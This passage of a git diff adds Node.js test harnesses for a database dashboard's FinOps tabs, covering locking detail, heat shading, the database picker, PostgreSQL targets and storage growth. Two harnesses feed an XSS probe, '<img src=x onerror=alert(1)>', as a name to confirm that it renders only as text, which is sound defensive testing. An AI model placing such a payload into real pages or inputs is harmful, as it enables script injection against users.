+  const lower = seen().map((r) => r.database_name);
+  fetches.length = 0;
+  stored.value = "Gamma";
+  stored.handlers.input();
+  stored.handlers.change();
+  await settle();
+  out.storedSpelling = { typedLower: lower, typedUnknown: seen().map((r) => r.database_name), shown: stored.value };
+  console.log(JSON.stringify(out));
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
diff --git a/Darling/Darling.Tests/finops-locking-detail-harness.mjs b/Darling/Darling.Tests/finops-locking-detail-harness.mjs
new file mode 100644
index 0000000000..5702d75fa6
--- /dev/null
+++ b/Darling/Darling.Tests/finops-locking-detail-harness.mjs
@@ -0,0 +1,237 @@
+/* Runs the shipped Locking & Contention tab (wwwroot/js/pages/finops/locking.js) against a scripted get_object_locking answer and a
+   node-tree DOM, and clicks its rows (#5311): the index detail pane. Prints one line of JSON: what the pane said while it waited,
+   the request each click made (the detail_* selector), the four counters it drew, which click won when two overlapped, what Escape
+   and the Close button did, and what a failed or empty answer showed. Every value in the pane must be a text node.
+       node finops-locking-detail-harness.mjs <path to wwwroot/js> */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+const jsDir = process.argv[2];
+
+class FakeNode {
+  constructor(tag, text) {
+    this.tag = tag;
+    this.children = [];
+    this.attrs = {};
+    this.dataset = {};
+    this.style = {};
+    this.className = "";
+    this.value = "";
+    this.checked = false;
+    this.handlers = {};
+    this.text = text == null ? null : String(text);
+    this.classList = { add() {}, remove() {}, toggle() {}, contains: () => false };
+  }
+  get firstChild() {
+    return this.children[0] || null;
+  }
+  appendChild(child) {
+    this.children.push(child);
+    return child;
+  }
+  removeChild(child) {
+    const i = this.children.indexOf(child);
+    if (i >= 0) this.children.splice(i, 1);
+    return child;
+  }
+  setAttribute(name, value) {
+    this.attrs[name] = String(value);
+  }
+  getAttribute(name) {
+    return name in this.attrs ? this.attrs[name] : null;
+  }
+  addEventListener(type, fn) {
+    this.handlers[type] = fn;
+  }
+  get isConnected() {
+    return true;
+  }
+  set textContent(value) {
+    this.children = [];
+    this.text = String(value);
+  }
+  get textContent() {
+    return (this.text || "") + this.children.map((c) => c.textContent).join("");
+  }
+}
+
+globalThis.Node = FakeNode;
+const docHandlers = {};
+/* Every keydown listener still registered on the document: docHandlers keeps only the newest, which hides a leaked older one. */
+const keydownListeners = new Set();
+globalThis.document = {
+  createElement: (tag) => new FakeNode(tag),
+  createElementNS: (ns, tag) => new FakeNode(tag),
+  createTextNode: (text) => new FakeNode("#text", text),
+  addEventListener: (type, fn) => {
+    docHandlers[type] = fn;
+    if (type === "keydown") keydownListeners.add(fn);
+  },
+  removeEventListener: (type, fn) => {
+    if (type === "keydown") keydownListeners.delete(fn);
+    if (docHandlers[type] === fn) delete docHandlers[type];
+  },
+};
+
+
+const row = (name, indexName) => ({
+  database_name: "Db",
+  schema_name: "dbo",
+  table_name: name,
+  index_name: indexName === undefined ? "IX_" + name : indexName,
+  index_type: "NONCLUSTERED",
+  reserved_mb: 1,
+  total_rows: 1,
+  row_lock_wait_count: 1,
+  row_lock_wait_ms: 5,
+  page_lock_wait_count: 1,
+  page_lock_wait_ms: 5,
+  lock_escalations: 0,
+  page_latch_wait_ms: 5,
+  page_io_latch_wait_ms: 5,
+});
+const objects = [row("one"), row("slow"), row("fast"), row("bad"), row("gone"), row("html", "<img src=x onerror=alert(1)>")];
+
+const detailCalls = [];
+let listCalls = 0;
+const counters = (n) => ({ server: "x", detail: { row_lock_count: n, page_lock_count: n + 1, page_latch_wait_count: n + 2, page_io_latch_wait_count: n + 3 } });
+let slowSignal = null;
+globalThis.fetch = async (url, init) => {
+  const u = String(url);
+  const respond = (status, payload) => ({ status, ok: status < 400, text: async () => JSON.stringify(payload) });
+  if (u.startsWith("/api/server-databases")) return respond(200, { server: "x", databases: [], truncated: false });
+  if (!u.includes("detail_table=")) {
+    listCalls++;
+    return respond(200, { objects });
+  }
+  detailCalls.push(u);
+  const table = new URLSearchParams(u.split("?")[1]).get("detail_table");
+  if (table === "slow") {
+    slowSignal = init && init.signal;
+    await new Promise((r) => setTimeout(r, 150));
+    return respond(200, counters(1000));
+  }
+  if (table === "fast") return respond(200, counters(2000));
+  if (table === "bad") return respond(500, { error: "boom: secret detail" });
+  if (table === "gone") return respond(200, { status: "empty", message: "No such index in the latest snapshot of x." });
+  return respond(200, counters(10));
+};
+
+const findAll = (node, test, out = []) => {
+  if (test(node)) out.push(node);
+  node.children.forEach((c) => findAll(c, test, out));
+  return out;
+};
+const wait = (ms) => new Promise((r) => setTimeout(r, ms));
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "locking-detail-"));
+try {
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  fs.writeFileSync(
+    path.join(scratch, "charts.js"),
+    'import { el } from "./util.js";\nexport const SERIES_COLORS = [];\nexport function normalizeColor(c) { return c; }\nexport function renderLineChart() { return el("div", {}); }\n' +
+      'export function zoomableLineChart() { return el("div", {}); }\nexport function chartZoomScope() { return ""; }\n'
+  );
+  const { tab } = await import(pathToFileURL(path.join(scratch, "pages", "finops", "locking.js")).href);
+  const root = tab.build("srv-a", {});
+  await wait(60);
+
+  const pane = root.children[1];
+  const bodyRows = () => findAll(root, (n) => n.tag === "tr").filter((tr) => tr.children.length && tr.children.every((c) => c.tag === "td"));
+  const click = (table) => {
+    const tr = bodyRows().find((r) => r.children[2].textContent === table);
+    tr.handlers.click({ type: "click" });
+  };
+  const out = { paneBefore: pane.textContent };
+
+  click("one");
+  out.loading = pane.textContent;
+  await wait(60);
+  out.afterOne = pane.textContent;
+  out.labels = findAll(pane, (n) => n.tag === "dt").map((n) => n.textContent);
+  out.values = findAll(pane, (n) => n.tag === "dd").map((n) => n.textContent);
+  out.oneCalls = detailCalls.length;
+  out.oneUrl = detailCalls[0];
+
+  // Two overlapping clicks: the slow one first, the fast one second. The newest click wins; the slow answer is dropped.
+  click("slow");
+  click("fast");
+  await wait(300);
+  out.newest = pane.textContent;
+  out.newestValues = findAll(pane, (n) => n.tag === "dd").map((n) => n.textContent);
+
+  click("bad");
+  await wait(60);
+  out.failure = pane.textContent;
+  click("gone");
+  await wait(60);
+  out.empty = pane.textContent;
+
+  click("html");
+  await wait(60);
+  out.html = pane.textContent;
+  out.htmlElements = findAll(pane, (n) => n.tag === "img" || n.tag === "b").length;
+
+  out.escapeListener = typeof docHandlers.keydown;
+  docHandlers.keydown({ key: "a" });
+  out.afterOtherKey = pane.textContent === "" ? "closed" : "open";
+  docHandlers.keydown({ key: "Escape" });
+  out.afterEscape = pane.textContent;
+  out.listenerAfterEscape = typeof docHandlers.keydown;
+
+  click("one");
+  await wait(60);
+  const close = findAll(pane, (n) => n.tag === "button")[0];
+  out.closeLabel = close.textContent;
+  close.handlers.click({ type: "click" });
+  out.afterClose = pane.textContent;
+  out.listCalls = listCalls;
+
+  /* The page poll (#5372): renderFinops builds the tab again and aborts the previous render's signal. The open row survives the
+     rebuild, the old build's Escape listener goes with its signal, and a detail read still running is aborted. */
+  const rowsOf = (r) => findAll(r, (n) => n.tag === "tr").filter((tr) => tr.children.length && tr.children.every((c) => c.tag === "td"));
+  const clickIn = (r, table) => rowsOf(r).find((tr) => tr.children[2].textContent === table).handlers.click({ type: "click" });
+  const c1 = new AbortController();
+  const root1 = tab.build("srv-b", { signal: c1.signal });
+  await wait(60);
+  clickIn(root1, "one");
+  await wait(60);
+  out.pollBefore = root1.children[1].textContent;
+  const c2 = new AbortController();
+  c1.abort();
+  const root2 = tab.build("srv-b", { signal: c2.signal });
+  await wait(60);
+  out.pollAfter = root2.children[1].textContent;
+  out.pollValues = findAll(root2.children[1], (n) => n.tag === "dd").map((n) => n.textContent);
+  out.pollListeners = keydownListeners.size;
+  const c3 = new AbortController();
+  c2.abort();
+  const root3 = tab.build("srv-b", { signal: c3.signal });
+  await wait(60);
+  out.pollListenersAfterSecond = keydownListeners.size;
+  out.pollAfterSecond = root3.children[1].textContent;
+  slowSignal = null;
+  clickIn(root3, "slow");
+  await wait(20);
+  const slowWasLive = slowSignal != null && !slowSignal.aborted;
+  c3.abort();
+  /* The read is shared (apiGetJoined): the page's abort reaches the request once its caller has stopped waiting, a tick later. */
+  await wait(10);
+  out.slowReadAbortedByRebuild = slowWasLive && slowSignal.aborted;
+  out.pollListenersAfterAbort = keydownListeners.size;
+  // A close the reader chose is forgotten: the next build opens nothing.
+  const c4 = new AbortController();
+  const root4 = tab.build("srv-b", { signal: c4.signal });
+  await wait(260);
+  docHandlers.keydown({ key: "Escape" });
+  c4.abort();
+  const root5 = tab.build("srv-b", { signal: new AbortController().signal });
+  await wait(60);
+  out.afterChosenClose = root5.children[1].textContent;
+  console.log(JSON.stringify(out));
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
diff --git a/Darling/Darling.Tests/finops-locking-heat-harness.mjs b/Darling/Darling.Tests/finops-locking-heat-harness.mjs
new file mode 100644
index 0000000000..aba0741455
--- /dev/null
+++ b/Darling/Darling.Tests/finops-locking-heat-harness.mjs
@@ -0,0 +1,136 @@
+/* Runs the shipped Locking & Contention tab (wwwroot/js/pages/finops/locking.js) against a scripted get_object_locking answer and a
+   node-tree DOM, and prints as one line of JSON the class of each of the four heat-shaded wait cells per row (#5311). The scripted
+   rows carry a `heat` list whose bands do NOT follow their wait values (the smallest value carries the top band), so a cell that took
+   its class from the response shows it and one that computed a band from the numbers would not. A row with no `heat` and a row
+   with a null band show no band class.
+       node finops-locking-heat-harness.mjs <path to wwwroot/js> */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+const jsDir = process.argv[2];
+
+class FakeNode {
+  constructor(tag, text) {
+    this.tag = tag;
+    this.children = [];
+    this.attrs = {};
+    this.dataset = {};
+    this.style = {};
+    this.className = "";
+    this.value = "";
+    this.checked = false;
+    this.handlers = {};
+    this.text = text == null ? null : String(text);
+    this.classList = { add() {}, remove() {}, toggle() {}, contains: () => false };
+  }
+  get firstChild() {
+    return this.children[0] || null;
+  }
+  appendChild(child) {
+    this.children.push(child);
+    return child;
+  }
+  removeChild(child) {
+    const i = this.children.indexOf(child);
+    if (i >= 0) this.children.splice(i, 1);
+    return child;
+  }
+  setAttribute(name, value) {
+    this.attrs[name] = String(value);
+  }
+  getAttribute(name) {
+    return name in this.attrs ? this.attrs[name] : null;
+  }
+  addEventListener(type, fn) {
+    this.handlers[type] = fn;
+  }
+  get isConnected() {
+    return true;
+  }
+  set textContent(value) {
+    this.children = [];
+    this.text = String(value);
+  }
+  get textContent() {
+    return (this.text || "") + this.children.map((c) => c.textContent).join("");
+  }
+}
+
+globalThis.Node = FakeNode;
+globalThis.document = {
+  createElement: (tag) => new FakeNode(tag),
+  createElementNS: (ns, tag) => new FakeNode(tag),
+  createTextNode: (text) => new FakeNode("#text", text),
+};
+
+const row = (name, waits, heat) => {
+  const r = {
+    database_name: "Db",
+    schema_name: "dbo",
+    table_name: name,
+    index_name: "IX_" + name,
+    index_type: "NONCLUSTERED",
+    reserved_mb: 1,
+    total_rows: 1,
+    row_lock_wait_count: 1,
+    row_lock_wait_ms: waits[0],
+    page_lock_wait_count: 1,
+    page_lock_wait_ms: waits[1],
+    lock_escalations: 0,
+    page_latch_wait_ms: waits[2],
+    page_io_latch_wait_ms: waits[3],
+  };
+  if (heat !== undefined) r.heat = heat;
+  return r;
+};
+const objects = [
+  // The smallest waits carry the top bands and the largest carry none: the class can only have come from `heat`.
+  row("small", [1, 2, 3, 4], [7, 6, 5, 4]),
+  row("large", [9000, 9000, 9000, 9000], [0, 1, 2, 3]),
+  row("nulls", [0, 0, 5, 0], [null, null, 3, null]),
+  row("noheat", [5, 5, 5, 5]),
+];
+
+globalThis.fetch = async (url) => {
+  const u = String(url);
+  const payload = u.startsWith("/api/server-databases") ? { server: "x", databases: [], truncated: false } : { objects };
+  return { status: 200, ok: true, text: async () => JSON.stringify(payload) };
+};
+
+const findAll = (node, test, out = []) => {
+  if (test(node)) out.push(node);
+  node.children.forEach((c) => findAll(c, test, out));
+  return out;
+};
+const wait = (ms) => new Promise((r) => setTimeout(r, ms));
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "locking-heat-"));
+try {
+  /* Copy the whole js tree (js/, js/pages/ and every subdirectory) rather than a hand-kept list (#5279); every stand-in below is
+     written AFTER the copy, so it still replaces the real file. */
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  fs.writeFileSync(
+    path.join(scratch, "charts.js"),
+    'import { el } from "./util.js";\nexport const SERIES_COLORS = [];\nexport function normalizeColor(c) { return c; }\nexport function renderLineChart() { return el("div", {}); }\n' +
+      'export function zoomableLineChart() { return el("div", {}); }\nexport function chartZoomScope() { return ""; }\n'
+  );
+  const { tab } = await import(pathToFileURL(path.join(scratch, "pages", "finops", "locking.js")).href);
+  const root = tab.build("srv-a", {});
+  await wait(60);
+
+  const headers = findAll(root, (n) => n.tag === "th").map((n) => n.textContent);
+  const heatColumns = ["Row lock wait", "Page lock wait", "Page latch", "Page IO latch"].map((h) => headers.indexOf(h));
+  const bodyRows = findAll(root, (n) => n.tag === "tr").filter((tr) => tr.children.length && tr.children.every((c) => c.tag === "td"));
+  const out = { headers: headers.length, rows: {} };
+  for (const tr of bodyRows) {
+    const name = tr.children[2].textContent;
+    out.rows[name] = heatColumns.map((i) => tr.children[i].className);
+    out.rows[name + "#others"] = tr.children.filter((_, i) => !heatColumns.includes(i)).map((c) => c.className).filter((c) => c.includes("heat-band"));
+  }
+  console.log(JSON.stringify(out));
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
diff --git a/Darling/Darling.Tests/finops-locking-picker-harness.mjs b/Darling/Darling.Tests/finops-locking-picker-harness.mjs
new file mode 100644
index 0000000000..b780f1e7a8
--- /dev/null
+++ b/Darling/Darling.Tests/finops-locking-picker-harness.mjs
@@ -0,0 +1,250 @@
+/* Runs the shipped Locking & Contention tab (wwwroot/js/pages/finops/locking.js and its shared Database box, database-box.js)
+   against a scripted fetch and a node-tree DOM, and prints as one line of JSON what it asked for (#5231, #5244): the first reads, the
+   database_name each typed value sent (the six awkward names as ONE name each, blank as none, "salesdb" as "SalesDb"), what a typed
+   name did against a list the route cut (nothing until the pause, one read for the newest text, the newest answer shown) and
+   that an uncut list reads nothing while typing. Index Analysis shares the box, so its own case runs here too.
+       node finops-locking-picker-harness.mjs <path to wwwroot/js> */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+const jsDir = process.argv[2];
+
+class FakeNode {
+  constructor(tag, text) {
+    this.tag = tag;
+    this.children = [];
+    this.attrs = {};
+    this.dataset = {};
+    this.style = {};
+    this.className = "";
+    this.value = "";
+    this.checked = false;
+    this.handlers = {};
+    this.text = text == null ? null : String(text);
+    this.classList = { add() {}, remove() {}, toggle() {}, contains: () => false };
+  }
+  get firstChild() {
+    return this.children[0] || null;
+  }
+  appendChild(child) {
+    this.children.push(child);
+    return child;
+  }
+  removeChild(child) {
+    const i = this.children.indexOf(child);
+    if (i >= 0) this.children.splice(i, 1);
+    return child;
+  }
+  setAttribute(name, value) {
+    this.attrs[name] = String(value);
+  }
+  getAttribute(name) {
+    return name in this.attrs ? this.attrs[name] : null;
+  }
+  addEventListener(type, fn) {
+    this.handlers[type] = fn;
+  }
+  get isConnected() {
+    return true;
+  }
+  set textContent(value) {
+    this.children = [];
+    this.text = String(value);
+  }
+  get textContent() {
+    return (this.text || "") + this.children.map((c) => c.textContent).join("");
+  }
+}
+
+globalThis.Node = FakeNode;
+globalThis.document = {
+  createElement: (tag) => new FakeNode(tag),
+  createElementNS: (ns, tag) => new FakeNode(tag),
+  createTextNode: (text) => new FakeNode("#text", text),
+};
+
+const fetches = [];
+// Scripted answers: databases(url) -> { databases, truncated, delay } for /api/server-databases; any other URL is a tool read.
+let databases = () => ({ databases: [], truncated: false });
+let toolBody = () => ({ objects: [] });
+globalThis.fetch = async (url) => {
+  const u = String(url);
+  fetches.push(u);
+  let payload = toolBody();
+  let delay = 0;
+  if (u.startsWith("/api/server-databases")) {
+    const a = databases(u);
+    payload = { server: "x", databases: a.databases, truncated: a.truncated };
+    delay = a.delay || 0;
+  }
+  if (delay) await new Promise((r) => setTimeout(r, delay));
+  return { status: 200, ok: true, text: async () => JSON.stringify(payload) };
+};
+
+const paramsOf = (url) => new URL(url, "http://viewer.test").searchParams;
+const findAll = (node, test, out = []) => {
+  if (test(node)) out.push(node);
+  node.children.forEach((c) => findAll(c, test, out));
+  return out;
+};
+const byTag = (tag) => (n) => n.tag === tag;
+const wait = (ms) => new Promise((r) => setTimeout(r, ms));
+const isRoute = (u) => u.startsWith("/api/server-databases");
+const isRead = (u) => u.startsWith("/api/read/");
+const readNames = () => fetches.filter(isRead).map((u) => paramsOf(u).getAll("database_name"));
+const options = (root) => findAll(root, byTag("option")).map((o) => o.attrs.value);
+const boxOf = (root) => findAll(root, byTag("input")).find((n) => n.attrs.type === "text");
+const type = (box, text) => {
+  box.value = text;
+  box.handlers.input();
+};
+const commit = async (box, text) => {
+  type(box, text);
+  box.handlers.change();
+  await wait(30);
+};
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "locking-picker-"));
+try {
+  /* Copy the whole js tree (js/, js/pages/ and every subdirectory) rather than a hand-kept list (#5279): a page module that
+     another PR adds then needs no edit here. Only imported files load, so the rest are inert; every stand-in below is
+     written AFTER the copy, so it still replaces the real file. */
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  fs.writeFileSync(
+    path.join(scratch, "charts.js"),
+    'import { el } from "./util.js";\nexport const SERIES_COLORS = [];\nexport function normalizeColor(c) { return c; }\nexport function renderLineChart() { return el("div", {}); }\n' +
+      'export function zoomableLineChart() { return el("div", {}); }\nexport function chartZoomScope() { return ""; }\n'
+  );
+  const { tab } = await import(pathToFileURL(path.join(scratch, "pages", "finops", "locking.js")).href);
+  const { tab: indexAnalysis } = await import(pathToFileURL(path.join(scratch, "pages", "finops", "index-analysis.js")).href);
+  const AWKWARD = ["A,B", "x]", " SalesDb", "O'Brien", "50%+off", "<img src=x onerror=alert(1)>"];
+  const out = {};
+
+  // The first reads: the list from the route, then the table with no database_name; the box lists the names as option values.
+  databases = () => ({ databases: ["SalesDb", ...AWKWARD], truncated: false });
+  fetches.length = 0;
+  let root = tab.build("srv-a", {});
+  await wait(40);
+  out.first = {
+    route: fetches.filter(isRoute).map((u) => ({ server: paramsOf(u).get("server"), search: paramsOf(u).get("search") })),
+    reads: readNames(),
+    options: options(root),
+    images: findAll(root, byTag("img")).length,
+  };
+
+  // L8c: a typed "salesdb" is sent as the stored "SalesDb"; the box shows the stored spelling.
+  let box = boxOf(root);
+  fetches.length = 0;
+  await commit(box, "salesdb");
+  out.lowercase = { reads: readNames(), shown: box.value };
+
+  // Blank and whitespace-only are All databases: no database_name.
+  fetches.length = 0;
+  await commit(box, "   ");
+  out.blank = { reads: readNames() };
+
+  // A name that matches no suggestion goes as typed.
+  fetches.length = 0;
+  await commit(box, "Nope");
+  out.unknown = { reads: readNames() };
+
+  // The six awkward names, each in the list: each goes as ONE name, exactly as typed.
+  out.awkward = {};
+  for (const name of AWKWARD) {
+    fetches.length = 0;
+    await commit(box, name);
+    out.awkward[name] = { reads: readNames(), images: findAll(root, byTag("img")).length };
+  }
+
+  // The same six names when the list holds none of them: still one name each, and a leading space is kept.
+  databases = () => ({ databases: ["SalesDb"], truncated: false });
+  root = tab.build("srv-b", {});
+  await wait(40);
+  box = boxOf(root);
+  out.awkwardNotListed = {};
+  for (const name of AWKWARD) {
+    fetches.length = 0;
+    await commit(box, name);
+    out.awkwardNotListed[name] = readNames();
+  }
+
+  // Two suggestions that differ only by case: the typed text goes as typed unless it equals one exactly.
+  databases = () => ({ databases: ["Foo", "foo"], truncated: false });
+  root = tab.build("srv-c", {});
+  await wait(40);
+  box = boxOf(root);
+  out.ambiguous = {};
+  for (const name of ["FOO", "foo", "Foo"]) {
+    fetches.length = 0;
+    await commit(box, name);
+    out.ambiguous[name] = readNames();
+  }
+
+  // An uncut list reads nothing while the reader types.
+  fetches.length = 0;
+  type(box, "f");
+  type(box, "fo");
+  await wait(400);
+  out.uncutTyping = { routeReads: fetches.filter(isRoute).length };
+
+  // A cut list asks again with the typed text, after a pause, once; the newest answer wins; a name past the cut is matched from it.
+  databases = (u) => {
+    const search = paramsOf(u).get("search");
+    if (search == null) return { databases: ["Alpha", "Beta"], truncated: true };
+    if (search === "a") return { databases: ["STALE"], truncated: false, delay: 400 };
+    if (search === "sale") return { databases: ["SalesDb", "SalesEU"], truncated: false };
+    if (search === "ab") return { databases: ["Abacus"], truncated: false };
+    return { databases: [], truncated: false };
+  };
+  fetches.length = 0;
+  root = tab.build("srv-cut", {});
+  await wait(40);
+  box = boxOf(root);
+  const hint = () => findAll(root, (n) => n.className === "finops-note").map((n) => n.textContent);
+  out.cut = { options: options(root), hint: hint(), routeReads: fetches.filter(isRoute).length };
+  fetches.length = 0;
+  type(box, "s");
+  type(box, "sa");
+  type(box, "sal");
+  type(box, "sale");
+  const early = fetches.filter(isRoute).length;
+  await wait(400);
+  out.cutSearch = {
+    early,
+    searches: fetches.filter(isRoute).map((u) => paramsOf(u).get("search")),
+    options: options(root),
+    hint: hint(),
+  };
+  // The name past the cut is matched from the search answer, in its stored spelling.
+  fetches.length = 0;
+  await commit(box, "SALESDB");
+  out.cutMatch = { reads: readNames() };
+  // An empty box drops the answer and lists the first page again.
+  type(box, "");
+  out.cutCleared = { options: options(root) };
+
+  // Newest answer wins: "a" answers late, "ab" answers at once; the late one is dropped.
+  fetches.length = 0;
+  type(box, "a");
+  await wait(300);
+  type(box, "ab");
+  await wait(300);
+  const afterNewest = options(root);
+  await wait(300);
+  out.newestWins = { afterNewest, afterStale: options(root), searches: fetches.filter(isRoute).map((u) => paramsOf(u).get("search")) };
+
+  // Index Analysis shares the box: a typed "salesdb" goes as "SalesDb" (its list comes from its own read).
+  toolBody = () => ({ databases: [{ database_name: "SalesDb" }, { database_name: "Other" }], recommendations: [], recommendation_count: 0 });
+  const ia = indexAnalysis.build("srv-ia", {});
+  await wait(40);
+  const iaBox = boxOf(ia);
+  fetches.length = 0;
+  await commit(iaBox, "salesdb");
+  out.indexAnalysis = { database_name: paramsOf(fetches[0]).getAll("database_name"), shown: iaBox.value, options: options(ia) };
+  console.log(JSON.stringify(out));
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
diff --git a/Darling/Darling.Tests/finops-postgres-target-harness.mjs b/Darling/Darling.Tests/finops-postgres-target-harness.mjs
new file mode 100644
index 0000000000..a5958aa424
--- /dev/null
+++ b/Darling/Darling.Tests/finops-postgres-target-harness.mjs
@@ -0,0 +1,147 @@
+/* Runs the shipped FinOps page under Node for the PostgreSQL-target rules (Darling web click-through, FinOps):
+   the page opens on a SQL Server target, the server list says which targets are PostgreSQL, and on a PostgreSQL target a
+   panel that does not apply says one short line instead of the gate paragraph. FinOpsPostgresTargetTests starts it as
+       node finops-postgres-target-harness.mjs <path to wwwroot/js> <scenario>
+   with HARNESS_REGISTRY (the list_servers rows) and HARNESS_READS (tool name -> answer body) in the environment.
+   `fetch` and the DOM are stand-ins; everything else is the shipped code. */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+const [jsDir, scenario] = process.argv.slice(-2);
+
+class FakeNode {
+  constructor(tag, text) {
+    this.tag = tag;
+    this.children = [];
+    this.attrs = {};
+    this.dataset = {};
+    this.style = {};
+    this.className = "";
+    this.value = "";
+    this.listeners = {};
+    this.text = text == null ? null : String(text);
+    this.classList = { add() {}, remove() {}, toggle() {}, contains: () => false };
+  }
+  get firstChild() {
+    return this.children[0] || null;
+  }
+  appendChild(child) {
+    this.children.push(child);
+    return child;
+  }
+  removeChild(child) {
+    const i = this.children.indexOf(child);
+    if (i >= 0) this.children.splice(i, 1);
+    return child;
+  }
+  setAttribute(name, value) {
+    this.attrs[name] = String(value);
+  }
+  getAttribute(name) {
+    return name in this.attrs ? this.attrs[name] : null;
+  }
+  addEventListener(type, listener) {
+    (this.listeners[type] = this.listeners[type] || []).push(listener);
+  }
+  focus() {
+    globalThis.document.activeElement = this;
+  }
+  setSelectionRange(start, end) {
+    this.selectionStart = start;
+    this.selectionEnd = end;
+  }
+  /* Enough of querySelector for ".class": the first descendant that carries the class. */
+  querySelector(selector) {
+    const wanted = String(selector).replace(/^\./, "");
+    const walk = (n) => {
+      for (const c of n.children || []) {
+        if (String(c.className).split(" ").includes(wanted)) return c;
+        const hit = walk(c);
+        if (hit) return hit;
+      }
+      return null;
+    };
+    return walk(this);
+  }
+  getBoundingClientRect() {
+    return { left: 0, top: 0, width: 1000, height: 320 };
+  }
+  set textContent(value) {
+    this.children = [];
+    this.text = String(value);
+  }
+  get textContent() {
+    return (this.text || "") + this.children.map((c) => c.textContent).join("");
+  }
+}
+
+
+globalThis.Node = FakeNode;
+globalThis.document = {
+  activeElement: null,
+  createElement: (tag) => new FakeNode(tag),
+  createElementNS: (ns, tag) => new FakeNode(tag),
+  createTextNode: (text) => new FakeNode("#text", text),
+};
+
+const REGISTRY = JSON.parse(process.env.HARNESS_REGISTRY || "[]");
+const READS = JSON.parse(process.env.HARNESS_READS || "{}");
+globalThis.fetch = async (url) => {
+  await new Promise((r) => setTimeout(r, 2));
+  const u = String(url);
+  const tool = (u.match(/\/api\/read\/([a-z_]+)/) || [])[1];
+  const body = tool === "list_servers" ? { server_count: REGISTRY.length, servers: REGISTRY } : READS[tool] || {};
+  return { status: 200, ok: true, text: async () => JSON.stringify(body) };
+};
+globalThis.localStorage = { getItem: () => null, setItem() {}, removeItem() {} };
+
+const rejections = [];
+process.on("unhandledRejection", (e) => rejections.push(String(e && e.stack ? e.stack : e)));
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "finops-pg-target-"));
+let finops;
+try {
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  finops = await import(pathToFileURL(path.join(scratch, "pages", "finops.js")).href);
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
+
+const all = (node, pred, found = []) => {
+  if (!node || typeof node !== "object") return found;
+  if (pred(node)) found.push(node);
+  (node.children || []).forEach((c) => all(c, pred, found));
+  return found;
+};
+const settle = async () => { for (let i = 0; i < 80; i++) await new Promise((r) => setTimeout(r, 2)); };
+const picker = (root) => all(root, (n) => n.tag === "select" && n.attrs["aria-label"] === "Server")[0];
+
+const render = async (server, tab) => {
+  const main = new FakeNode("main");
+  finops.renderFinops(main, server, tab);
+  await settle();
+  return main;
+};
+
+const scenarios = {
+  /* A bare #/finops visit: which server the picker lands on, and what each option says. */
+  open: async () => {
+    const main = await render("", "utilization");
+    const sel = picker(main);
+    return { selected: sel.value, options: sel.children.map((o) => o.text) };
+  },
+  /* A tab opened on a named server: the text of every empty strip and notice strip on the page. */
+  strips: async () => {
+    const main = await render(process.env.HARNESS_SERVER, process.env.HARNESS_TAB);
+    const strips = all(main, (n) => /\bstrip\b/.test(String(n.className))).map((n) => n.textContent);
+    return { strips };
+  },
+};
+
+const chosen = scenarios[scenario];
+if (!chosen) throw new Error("unknown scenario " + scenario);
+const result = await chosen();
+console.log(JSON.stringify({ ...result, rejections }));
diff --git a/Darling/Darling.Tests/finops-storage-growth-window-harness.mjs b/Darling/Darling.Tests/finops-storage-growth-window-harness.mjs
new file mode 100644
index 0000000000..42c8baff01
--- /dev/null
+++ b/Darling/Darling.Tests/finops-storage-growth-window-harness.mjs
@@ -0,0 +1,154 @@
+/* Runs the shipped Storage Growth tab (wwwroot/js/pages/finops/storage-growth.js) against a recording fetch and a node-tree DOM,
+   and prints as one line of JSON what it asked for: the databases read, the objects read after a click on a database, a pick of
+   each window, a rebuild for the same server (the 60 s poll) and a build for another server.
+       node finops-storage-growth-window-harness.mjs <path to wwwroot/js> */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+import { pickRange, pickerText, pickerItems, pickerButton, withDocumentListeners } from "./web-picker-driver.mjs";
+
+const jsDir = process.argv[2];
+
+class FakeNode {
+  constructor(tag, text) {
+    this.tag = tag;
+    this.children = [];
+    this.attrs = {};
+    this.dataset = {};
+    this.style = {};
+    this.className = "";
+    this.value = "";
+    this.handlers = {};
+    this.text = text == null ? null : String(text);
+    this.classList = { add() {}, remove() {}, toggle() {}, contains: () => false };
+  }
+  get firstChild() {
+    return this.children[0] || null;
+  }
+  appendChild(child) {
+    this.children.push(child);
+    return child;
+  }
+  removeChild(child) {
+    const i = this.children.indexOf(child);
+    if (i >= 0) this.children.splice(i, 1);
+    return child;
+  }
+  setAttribute(name, value) {
+    this.attrs[name] = String(value);
+  }
+  getAttribute(name) {
+    return name in this.attrs ? this.attrs[name] : null;
+  }
+  addEventListener(type, fn) {
+    this.handlers[type] = fn;
+  }
+  set textContent(value) {
+    this.children = [];
+    this.text = String(value);
+  }
+  get textContent() {
+    return (this.text || "") + this.children.map((c) => c.textContent).join("");
+  }
+}
+
+globalThis.Node = FakeNode;
+globalThis.document = withDocumentListeners({
+  createElement: (tag) => new FakeNode(tag),
+  createElementNS: (ns, tag) => new FakeNode(tag),
+  createTextNode: (text) => new FakeNode("#text", text),
+});
+
+const fetches = [];
+let body = "{}";
